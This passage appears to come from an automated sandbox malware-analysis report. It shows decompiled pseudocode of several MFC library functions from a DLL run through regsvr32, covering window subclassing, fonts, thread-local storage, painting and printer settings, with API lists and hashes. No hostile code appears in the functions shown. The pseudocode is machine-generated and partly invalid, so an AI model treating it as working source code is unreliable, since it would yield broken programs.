					_t34 = E6EB4C72D(1, _t61,  *(_t72 + 0x14));
					E6EB4DDDC(_t61, E6EB4C72D(1, _t61, _t67),  *(_t72 + 0x10), _t34);
					goto L9;
				} else {
					_t40 = _t33 - 0x1a;
					if(_t40 == 0) {
						_t59 = 0 | E6EB4DE54(1, _t67, E6EB4C72D(1, _t61, _t67),  *(_t72 + 0x14),  *(_t72 + 0x14) >> 0x10) == 0x00000000;
						L9:
						if(_t59 != 0) {
							goto L10;
						}
					} else {
						_t43 = _t40 - 0x62;
						if(_t43 == 0) {
							SetWindowLongA(_t67, 0xfffffffc,  *(_t72 - 0x18));
							RemovePropA(_t67, _t69);
							GlobalDeleteAtom(GlobalFindAtomA(_t69) & 0x0000ffff);
							goto L10;
						} else {
							if(_t43 != 0x8e) {
								L10:
								 *(_t72 - 0x14) = CallWindowProcA( *(_t72 - 0x18), _t67,  *(_t72 + 0xc),  *(_t72 + 0x10),  *(_t72 + 0x14));
							} else {
								E6EB4B46B(E6EB4C72D(1, _t61, _t67), _t72 - 0x30, _t72 - 0x20);
								 *(_t72 - 0x14) = CallWindowProcA( *(_t72 - 0x18), _t67, 0x110,  *(_t72 + 0x10),  *(_t72 + 0x14));
								E6EB4CD56(1, _t65, _t50, _t72 - 0x30,  *((intOrPtr*)(_t72 - 0x20)));
							}
						}
					}
				}
				return E6EB665D3( *(_t72 - 0x14));
			}

0x6eb4decc
0x6eb4decc
0x6eb4decc
0x6eb4ded3
0x6eb4ded8
0x6eb4dedb
0x6eb4dee2
0x6eb4dee8
0x6eb4deec
0x6eb4def0
0x6eb4def8
0x6eb4def9
0x6eb4defc
0x6eb4dfa8
0x6eb4dfba
0x00000000
0x6eb4df02
0x6eb4df02
0x6eb4df05
0x6eb4dfa0
0x6eb4dfbf
0x6eb4dfc1
0x00000000
0x00000000
0x6eb4df07
0x6eb4df07
0x6eb4df0a
0x6eb4df63
0x6eb4df6b
0x6eb4df7c
0x00000000
0x6eb4df0c
0x6eb4df11
0x6eb4dfc3
0x6eb4dfd6
0x6eb4df17
0x6eb4df28
0x6eb4df45
0x6eb4df4d
0x6eb4df4d
0x6eb4df11
0x6eb4df0a
0x6eb4df05
0x6eb4df5a

APIs

__EH_prolog3_catch.LIBCMT ref: 6EB4DED3
GetPropA.USER32 ref: 6EB4DEE2
CallWindowProcA.USER32 ref: 6EB4DF3C

Part of subcall function 6EB4CD56: GetWindowRect.USER32 ref: 6EB4CD80

SetWindowLongA.USER32(?,000000FC,?), ref: 6EB4DF63
RemovePropA.USER32 ref: 6EB4DF6B
GlobalFindAtomA.KERNEL32(AfxOldWndProc423), ref: 6EB4DF72
GlobalDeleteAtom.KERNEL32(?), ref: 6EB4DF7C
CallWindowProcA.USER32 ref: 6EB4DFD0

Strings

AfxOldWndProc423, xrefs: 6EB4DEDB, 6EB4DEE0, 6EB4DF69, 6EB4DF71

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Window$AtomCallGlobalProcProp$DeleteFindH_prolog3_catchLongRectRemove
String ID: AfxOldWndProc423
API String ID: 2109165785-1060338832
Opcode ID: e2b77c85db07758b7146720b245a3c0440d090d5cce7dbd35af50d5aa9272212
Instruction ID: 965379dfdc30ddf78ff0469044750984aa967327342e9ec482d9962a238a6877
Opcode Fuzzy Hash: e2b77c85db07758b7146720b245a3c0440d090d5cce7dbd35af50d5aa9272212
Instruction Fuzzy Hash: 19315C7281019AEBDF119FE4DD58EEF3E78EF0A715F010518FA41A6198CB348A10EF61

Uniqueness

Uniqueness Score: -1.00%

Function 6EB60266 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E6EB60266(intOrPtr __ecx, signed int _a4) {
				signed int _v8;
				char _v40;
				void _v68;
				intOrPtr _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t12;
				void* _t14;
				char* _t23;
				void* _t29;
				signed short _t30;
				struct HDC__* _t31;
				signed int _t32;

				_t12 =  *0x6eb89470; // 0x8926f9d4
				_v8 = _t12 ^ _t32;
				_t31 = GetStockObject;
				_t30 = 0xa;
				_v72 = __ecx;
				_t23 = "System";
				_t14 = GetStockObject(0x11);
				if(_t14 != 0) {
					L2:
					if(GetObjectA(_t14, 0x3c,  &_v68) != 0) {
						_t23 =  &_v40;
						_t31 = GetDC(0);
						if(_v68 < 0) {
							_v68 =  ~_v68;
						}
						_t30 = MulDiv(_v68, 0x48, GetDeviceCaps(_t31, 0x5a)) & 0x0000ffff;
						ReleaseDC(0, _t31);
					}
					L6:
					_t16 = _a4;
					if(_a4 == 0) {
						_t16 = _t30 & 0x0000ffff;
					}
					return E6EB63DE0(E6EB60112(_t23, _v72, _t29, _t31, _t23, _t16), _t23, _v8 ^ _t32, _t29, _t30, _t31);
				}
				_t14 = GetStockObject(0xd);
				if(_t14 == 0) {
					goto L6;
				}
				goto L2;
			}

APIs

GetStockObject.GDI32(00000011), ref: 6EB6028E
GetStockObject.GDI32(0000000D), ref: 6EB60296
GetObjectA.GDI32(00000000,0000003C,?), ref: 6EB602A3
GetDC.USER32 ref: 6EB602B2
GetDeviceCaps.GDI32(00000000,0000005A), ref: 6EB602C6
MulDiv.KERNEL32(00000000,00000048,00000000), ref: 6EB602D2
ReleaseDC.USER32 ref: 6EB602DE

Strings

System, xrefs: 6EB60289, 6EB602F3

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Object$Stock$CapsDeviceRelease
String ID: System
API String ID: 46613423-3470857405
Opcode ID: 49d48c7044cac5b0c479e9d1761c5f8e926056a0ee9edba107e8f1f7eefb11ea
Instruction ID: 9f16d8cfa404195facbd66dd7e68bfb081baf689f83fcfdd98a7e1bfae8e8968
Opcode Fuzzy Hash: 49d48c7044cac5b0c479e9d1761c5f8e926056a0ee9edba107e8f1f7eefb11ea
Instruction Fuzzy Hash: 14113D71A50669EBEF209BA2CC49FEE7BB8EF55745F010015F601A7280EA709D01CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6EB558E2 Relevance: 13.6, APIs: 9, Instructions: 96
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 83%

			E6EB558E2(void* __ebx, long* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t36;
				void* _t39;
				long _t41;
				void* _t42;
				long _t47;
				void* _t53;
				signed int _t55;
				long* _t62;
				struct _CRITICAL_SECTION* _t64;
				void* _t65;
				void* _t66;

				_push(0x10);
				E6EB6652E(0x6eb77b79, __ebx, __edi, __esi);
				_t62 = __ecx;
				 *((intOrPtr*)(_t66 - 0x18)) = __ecx;
				_t64 = __ecx + 0x1c;
				 *(_t66 - 0x14) = _t64;
				EnterCriticalSection(_t64);
				_t36 =  *(_t66 + 8);
				if(_t36 <= 0 || _t36 >= _t62[3]) {
					_push(_t64);
				} else {
					_t65 = TlsGetValue( *_t62);
					if(_t65 == 0) {
						 *(_t66 - 4) = 0;
						_t39 = E6EB55562(0x10);
						__eflags = _t39;
						if(__eflags == 0) {
							_t65 = 0;
							__eflags = 0;
						} else {
							 *_t39 = 0x6eb7b2d4;
							_t65 = _t39;
						}
						 *(_t66 - 4) =  *(_t66 - 4) | 0xffffffff;
						_t51 =  &(_t62[5]);
						 *(_t65 + 8) = 0;
						 *(_t65 + 0xc) = 0;
						E6EB55694( &(_t62[5]), _t65);
						goto L5;
					} else {
						_t55 =  *(_t66 + 8);
						if(_t55 >=  *(_t65 + 8) &&  *((intOrPtr*)(_t66 + 0xc)) != 0) {
							L5:
							_t75 =  *(_t65 + 0xc);
							if( *(_t65 + 0xc) != 0) {
								_t41 = E6EB4847A(_t51, __eflags, _t62[3], 4);
								_t53 = 2;
								_t42 = LocalReAlloc( *(_t65 + 0xc), _t41, ??);
							} else {
								_t47 = E6EB4847A(_t51, _t75, _t62[3], 4);
								_pop(_t53);
								_t42 = LocalAlloc(0, _t47);
							}
							_t76 = _t42;
							if(_t42 == 0) {
								LeaveCriticalSection( *(_t66 - 0x14));
								_t42 = E6EB48B6C(0, _t53, _t62, _t65, _t76);
							}
							 *(_t65 + 0xc) = _t42;
							E6EB65E80(_t62, _t42 +  *(_t65 + 8) * 4, 0, _t62[3] -  *(_t65 + 8) << 2);
							 *(_t65 + 8) = _t62[3];
							TlsSetValue( *_t62, _t65);
							_t55 =  *(_t66 + 8);
						}
					}
					_t36 =  *(_t65 + 0xc);
					if(_t36 != 0 && _t55 <  *(_t65 + 8)) {
						 *((intOrPtr*)(_t36 + _t55 * 4)) =  *((intOrPtr*)(_t66 + 0xc));
					}
					_push( *(_t66 - 0x14));
				}
				LeaveCriticalSection();
				return E6EB665D3(_t36);
			}

APIs

__EH_prolog3_catch.LIBCMT ref: 6EB558E9
EnterCriticalSection.KERNEL32(?,00000010,6EB55AB2,?,00000000,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000,?,6EB4D0D7), ref: 6EB558FA
TlsGetValue.KERNEL32(?,?,00000000,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000,?,6EB4D0D7,00000000), ref: 6EB55918
LocalAlloc.KERNEL32(00000000,00000000,00000000,00000010,?,?,00000000,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB5594C
LeaveCriticalSection.KERNEL32(00000000,?,?,00000000,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000,?,6EB4D0D7,00000000), ref: 6EB559B8
_memset.LIBCMT ref: 6EB559D7
TlsSetValue.KERNEL32(?,00000000,00000000,00000000), ref: 6EB559E8
LeaveCriticalSection.KERNEL32(?,?,00000000,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000,?,6EB4D0D7,00000000), ref: 6EB55A09

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CriticalSection$LeaveValue$AllocEnterH_prolog3_catchLocal_memset
String ID:
API String ID: 1891723912-0
Opcode ID: a6b79bf09a72829d0d023791a22cf7aa881fa5da805d4a099d9cacebd26b2c25
Instruction ID: 7f0d96654e1d5ca72e9b48a94e7b64931c6451c660d7b83f6881bfeb78e8c6d1
Opcode Fuzzy Hash: a6b79bf09a72829d0d023791a22cf7aa881fa5da805d4a099d9cacebd26b2c25
Instruction Fuzzy Hash: 5531C270412696EFDF11DFA4C884D9EBFB5FF00321B11C529E56697A60CB30A960CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4889E Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 115
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E6EB4889E(void* __ecx, void* __edx, void* __eflags, long _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16) {
				signed int _v8;
				char _v9;
				char _v268;
				struct HWND__* _v272;
				signed int _v276;
				long _v280;
				struct HWND__* _v284;
				intOrPtr _v288;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t36;
				signed int _t53;
				intOrPtr _t56;
				long _t59;
				struct HWND__* _t62;
				CHAR* _t63;
				void* _t64;
				void* _t66;
				void* _t70;
				void* _t71;
				long _t72;
				void* _t73;
				void* _t74;
				signed int _t76;
				void* _t77;
				signed int _t81;

				_t70 = __edx;
				_t79 = _t81;
				_t36 =  *0x6eb89470; // 0x8926f9d4
				_v8 = _t36 ^ _t81;
				_t72 = _a4;
				_t76 = 0;
				_v288 = _a8;
				E6EB487B3(0);
				_t66 = _t71;
				_t62 = E6EB487EC(0,  &_v272);
				_v284 = _t62;
				if(_t62 != _v272) {
					EnableWindow(_t62, 1);
				}
				_v280 = _v280 & _t76;
				GetWindowThreadProcessId(_t62,  &_v280);
				if(_t62 == 0 || _v280 != GetCurrentProcessId()) {
					L7:
					__eflags = _t72;
					if(__eflags != 0) {
						_t76 = _t72 + 0x78;
					}
					goto L9;
				} else {
					_t59 = SendMessageA(_t62, 0x376, 0, 0);
					if(_t59 == 0) {
						goto L7;
					} else {
						_t76 = _t59;
						L9:
						_v276 = _v276 & 0x00000000;
						if(_t76 != 0) {
							_v276 =  *_t76;
							_t56 = _a16;
							if(_t56 != 0) {
								 *_t76 = _t56 + 0x30000;
							}
						}
						if((_a12 & 0x000000f0) == 0) {
							_t53 = _a12 & 0x0000000f;
							if(_t53 <= 1) {
								_t23 =  &_a12;
								 *_t23 = _a12 | 0x00000030;
								__eflags =  *_t23;
							} else {
								if(_t53 + 0xfffffffd <= 1) {
									_a12 = _a12 | 0x00000020;
								}
							}
						}
						_v268 = 0;
						_t96 = _t72;
						if(_t72 == 0) {
							_t63 =  &_v268;
							_t72 = 0x104;
							__eflags = GetModuleFileNameA(0, _t63, 0x104) - 0x104;
							if(__eflags == 0) {
								_v9 = 0;
							}
						} else {
							_t63 =  *(_t72 + 0x50);
						}
						_push(_a12);
						_push(_t63);
						_push(_v288);
						_push(_v284);
						_t73 = E6EB48709(_t63, _t66, _t72, _t76, _t96);
						if(_t76 != 0) {
							 *_t76 = _v276;
						}
						if(_v272 != 0) {
							EnableWindow(_v272, 1);
						}
						E6EB487B3(1);
						_pop(_t74);
						_pop(_t77);
						_pop(_t64);
						return E6EB63DE0(_t73, _t64, _v8 ^ _t79, _t70, _t74, _t77);
					}
				}
			}

APIs

Part of subcall function 6EB487EC: GetParent.USER32(?), ref: 6EB48840
Part of subcall function 6EB487EC: GetLastActivePopup.USER32(?), ref: 6EB48851
Part of subcall function 6EB487EC: IsWindowEnabled.USER32(?), ref: 6EB48865
Part of subcall function 6EB487EC: EnableWindow.USER32(?,00000000), ref: 6EB48878

EnableWindow.USER32(?,00000001), ref: 6EB488EB
GetWindowThreadProcessId.USER32(?,?), ref: 6EB488FF
GetCurrentProcessId.KERNEL32 ref: 6EB48909
SendMessageA.USER32 ref: 6EB48921
GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 6EB4899B
EnableWindow.USER32(00000000,00000001), ref: 6EB489E0

Strings

0, xrefs: 6EB48976

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Window$Enable$Process$ActiveCurrentEnabledFileLastMessageModuleNameParentPopupSendThread
String ID: 0
API String ID: 1877664794-4108050209
Opcode ID: afe7c0221bb4e248cbbd534877868914cb23ecbc16b4b4427de39b8b1d744efa
Instruction ID: b97e08af10747471932e5ae369c2a8dd8302c8e1187279fc4357f5eb3b1cd59e
Opcode Fuzzy Hash: afe7c0221bb4e248cbbd534877868914cb23ecbc16b4b4427de39b8b1d744efa
Instruction Fuzzy Hash: 7341C332A00A99DBDF218FA4CC55BDA7BB8FF45714F100594FA54A7288D7B0DA809FD2

Uniqueness

Uniqueness Score: -1.00%

Function 6EB473C0 Relevance: 12.2, APIs: 8, Instructions: 212
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E6EB473C0(void* __ecx, void* __eflags, void* __fp0) {
				short _v12;
				char _v16;
				signed int _v24;
				char _v42;
				intOrPtr _v50;
				signed int _v58;
				char _v116;
				struct HDC__* _v120;
				signed long long _v132;
				char _v134;
				struct HDC__* _v146;
				struct tagRECT _v148;
				char _v150;
				void* _v162;
				signed int _v176;
				struct HBRUSH__* _v180;
				signed int _v182;
				intOrPtr _v192;
				struct HBRUSH__* _v194;
				intOrPtr _v196;
				char _v198;
				short _v200;
				int _v204;
				intOrPtr _v206;
				short _v208;
				char _v210;
				intOrPtr _v212;
				int _v216;
				intOrPtr _v220;
				struct tagRECT _v226;
				short _v228;
				short _v230;
				int _v232;
				intOrPtr _v234;
				int _v238;
				short _v240;
				intOrPtr _v242;
				signed short _v252;
				short _v254;
				signed long long _v258;
				short _v262;
				short _v266;
				signed int _v274;
				signed short _v278;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t102;
				signed int _t104;
				intOrPtr _t120;
				short _t122;
				signed int _t129;
				void* _t130;
				intOrPtr _t131;
				void* _t143;
				signed short _t148;
				long _t149;
				void* _t150;
				int _t160;
				short _t164;
				short _t188;
				short _t200;
				RECT* _t201;
				void* _t202;
				void* _t204;
				void* _t206;
				signed int _t207;
				signed int _t209;
				void* _t216;
				signed long long _t218;

				_t216 = __fp0;
				_t210 = __eflags;
				_push(0xffffffff);
				_push(0x6eb78713);
				_push( *[fs:0x0]);
				_t209 = (_t207 & 0xfffffff8) - 0xe8;
				_t102 =  *0x6eb89470; // 0x8926f9d4
				_v24 = _t102 ^ _t209;
				_t104 =  *0x6eb89470; // 0x8926f9d4
				_push(_t104 ^ _t209);
				 *[fs:0x0] =  &_v16;
				_t204 = __ecx;
				_push(__ecx);
				E6EB49B33( &_v116, __ecx, __eflags);
				_t148 = 0;
				_v12 = 0;
				GetClientRect( *(__ecx + 0x20),  &(_v148.top));
				_push(GetSysColor(0xf));
				E6EB49E16( &_v180, _t204, _t210);
				_v16 = 1;
				FrameRect(_v120,  &_v148, _v180);
				_t160 = (0x2aaaaaab * (_v148.right - _v148.left) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v148.right - _v148.left) >> 0x20 >> 2);
				_t120 = (0x2aaaaaab * (_v148.bottom - _v148.top.left) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v148.bottom - _v148.top.left) >> 0x20 >> 2);
				_t188 = 1;
				_v216 = _t160;
				_v220 = _t120;
				_v212 = 0x7fff;
				_v240 = 0;
				_v232 = 1;
				while(1) {
					asm("fild dword [esp+0x20]");
					_v204 = 1;
					_v200 = _t188;
					_v196 = _t160 + 1;
					_t218 = (_t216 +  *0x6eb7fe58) *  *0x6eb7fe50;
					_v192 = _t120 + _t188;
					_t122 = E6EB676F0(_t120 + _t188, _t218);
					_v208 = _t122;
					_v176 = _t122 * _t122;
					_t200 = 0;
					asm("fild dword [esp+0x40]");
					_v252 = _t148;
					_v132 = _t218;
					while(1) {
						_t164 =  *(_t204 + 0x74);
						_v228 = _t164;
						_t149 = ColorHLSToRGB(_t200, _t164, _t122);
						 *((intOrPtr*)(_v262 +  *((intOrPtr*)(_t204 + 0x58)))) = _t149;
						E6EB53F35( &_v134,  &(_v226.bottom), _t149);
						ColorRGBToHLS( *(_t204 + 0x70),  &_v254,  &_v262,  &_v266);
						_v226.right = (_v266 & 0x0000ffff) - _t200;
						_t129 = _v278 & 0x0000ffff;
						_v258 = (_v274 & 0x0000ffff) - _v258;
						_v194 = _t129 * _t129 + _v206;
						_v182 = _t129;
						asm("fild dword [esp+0x2c]");
						_v258 = _t218;
						asm("fild dword [esp+0x6c]");
						_v194 = _t218;
						asm("fild dword [esp+0x54]");
						_t130 = E6EB76660((_v274 & 0x0000ffff) - _v258, _t129 * _t129 + _v206, _t218 *  *0x6eb7fe48);
						asm("fild dword [esp+0x78]");
						asm("fmulp st1, st0");
						asm("fsubr qword [esp+0x6c]");
						_t218 = _v258 * st0;
						asm("faddp st1, st0");
						_t131 = E6EB676F0(_t130, _t218);
						if(_t131 < _v242) {
							_v234 = _t131;
							 *(_t204 + 0x60) = _v226.left;
							 *((intOrPtr*)(_t204 + 0x64)) = _v226.top;
							 *((intOrPtr*)(_t204 + 0x68)) = _v226.right;
							 *((intOrPtr*)(_t204 + 0x6c)) = _v226.bottom;
							 *((intOrPtr*)(_t204 + 0x5c)) = _t149;
						}
						OffsetRect( &_v226, _v238, 0);
						_v274 = _v274 + 4;
						_t200 = _t200 + 0xa;
						if(_t200 >= 0xf0) {
							break;
						}
						_t122 = _v230;
					}
					_t120 = _v242;
					_t148 = _v274;
					_v262 = _v262 + 1;
					_v254 = _v254 + _t120;
					if(_t148 < 0x900) {
						_t160 = _v238;
						_t188 = _v254;
						continue;
					}
					_t201 = _t204 + 0x60;
					InflateRect(_t201, 1, 1);
					_push(((0 |  *(_t204 + 0x74) - 0x000000d2 <= 0x00000000) - 0x00000001 & 0xff64c8c9) + 0xffffff);
					E6EB49E16( &_v194, _t204,  *(_t204 + 0x74) - 0xd2);
					FrameRect(_v146, _t201, _v194);
					_v198 = 0x6eb79cf0;
					E6EB41070( &_v198, _v146);
					_v42 = 0;
					_v210 = 0x6eb79cf0;
					E6EB41070( &_v210, _v146);
					_v42 = 0xffffffff;
					_t143 = E6EB49B87(_t148,  &_v150, _t201, 0x6eb79cf0,  *(_t204 + 0x74) - 0xd2);
					 *[fs:0x0] = _v50;
					_pop(_t202);
					_pop(_t206);
					_pop(_t150);
					return E6EB63DE0(_t143, _t150, _v58 ^ _t209, _v146, _t202, _t206);
				}
			}

APIs

Part of subcall function 6EB49B33: __EH_prolog3.LIBCMT ref: 6EB49B3A
Part of subcall function 6EB49B33: BeginPaint.USER32(?,?,00000004,6EB529FE,?,00000058,6EB4622F), ref: 6EB49B66

GetClientRect.USER32 ref: 6EB47421
GetSysColor.USER32(0000000F), ref: 6EB47429

Part of subcall function 6EB49E16: __EH_prolog3.LIBCMT ref: 6EB49E1D
Part of subcall function 6EB49E16: CreateSolidBrush.GDI32(?), ref: 6EB49E38

FrameRect.USER32 ref: 6EB47456
ColorHLSToRGB.SHLWAPI(00000000,?,00000000), ref: 6EB47523

Part of subcall function 6EB53F35: SetBkColor.GDI32(?,?), ref: 6EB53F59
Part of subcall function 6EB53F35: ExtTextOutA.GDI32(?,00000000,00000000,00000002,?,00000000,00000000,00000000), ref: 6EB53F6C

ColorRGBToHLS.SHLWAPI(?,?,?,00000000), ref: 6EB4755A
OffsetRect.USER32 ref: 6EB47602
InflateRect.USER32(?,00000001,00000001), ref: 6EB47640
FrameRect.USER32 ref: 6EB47675

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Rect$Color$FrameH_prolog3$BeginBrushClientCreateInflateOffsetPaintSolidText
String ID:
API String ID: 4136518526-0
Opcode ID: 9a2fb8e476c2fd64634f5bcd0c303a8fcf6020d3862decd8078ea3ccaf6e009b
Instruction ID: ea1be88c76f36fa851ce70a12abb9b91debe1c4263d46c89fa79e7dea2a04cea
Opcode Fuzzy Hash: 9a2fb8e476c2fd64634f5bcd0c303a8fcf6020d3862decd8078ea3ccaf6e009b
Instruction Fuzzy Hash: 7D9114715087809FC724CF69C584AABBBF9FBC9714F008E1DE59A83794DB74A844CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6EB504A2 Relevance: 12.1, APIs: 8, Instructions: 66
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E6EB504A2(void* __ecx, char* _a4) {
				void* _v8;
				void* _t15;
				void* _t20;
				void* _t35;

				_push(__ecx);
				_t35 = __ecx;
				_t15 =  *(__ecx + 0x74);
				if(_t15 != 0) {
					_t15 = lstrcmpA(( *(GlobalLock(_t15) + 2) & 0x0000ffff) + _t16, _a4);
					if(_t15 == 0) {
						_t15 = OpenPrinterA(_a4,  &_v8, 0);
						if(_t15 != 0) {
							_t18 =  *(_t35 + 0x70);
							if( *(_t35 + 0x70) != 0) {
								E6EB543E1(_t18);
							}
							_t20 = GlobalAlloc(0x42, DocumentPropertiesA(0, _v8, _a4, 0, 0, 0));
							 *(_t35 + 0x70) = _t20;
							if(DocumentPropertiesA(0, _v8, _a4, GlobalLock(_t20), 0, 2) != 1) {
								E6EB543E1( *(_t35 + 0x70));
								 *(_t35 + 0x70) = 0;
							}
							_t15 = ClosePrinter(_v8);
						}
					}
				}
				return _t15;
			}

APIs

GlobalLock.KERNEL32 ref: 6EB504C1
lstrcmpA.KERNEL32(?,?,?,?,?,?,?,6EB4DB35,?), ref: 6EB504CD
OpenPrinterA.WINSPOOL.DRV(?,?,00000000,?,?,?,?,?,6EB4DB35,?), ref: 6EB504DF
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000000,?,?,00000000,?,?,?,?,?,6EB4DB35,?), ref: 6EB504FF
GlobalAlloc.KERNEL32(00000042,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000,?,?,?,?), ref: 6EB50507
GlobalLock.KERNEL32 ref: 6EB50511
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000002,?,?,?,?,?,6EB4DB35,?), ref: 6EB5051E
ClosePrinter.WINSPOOL.DRV(?,00000000,?,?,00000000,00000000,00000002,?,?,?,?,?,6EB4DB35,?), ref: 6EB50536

Part of subcall function 6EB543E1: GlobalFlags.KERNEL32(?), ref: 6EB543F0
Part of subcall function 6EB543E1: GlobalUnlock.KERNEL32(?,?,6EB50530,?,00000000,?,?,00000000,00000000,00000002,?,?,?,?,?,6EB4DB35), ref: 6EB54402
Part of subcall function 6EB543E1: GlobalFree.KERNEL32 ref: 6EB5440D

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Global$DocumentLockProperties$AllocCloseFlagsFreeOpenPrinterPrinter.Unlocklstrcmp
String ID:
API String ID: 168474834-0
Opcode ID: 896abfdc9f26d3682490ef20b8d100f077d411e20f2cfe63ae408f56a9afeb96
Instruction ID: 2dcea6ef26b9a258f193c9101ae47f0145634775de0921d822dbde4cae965425
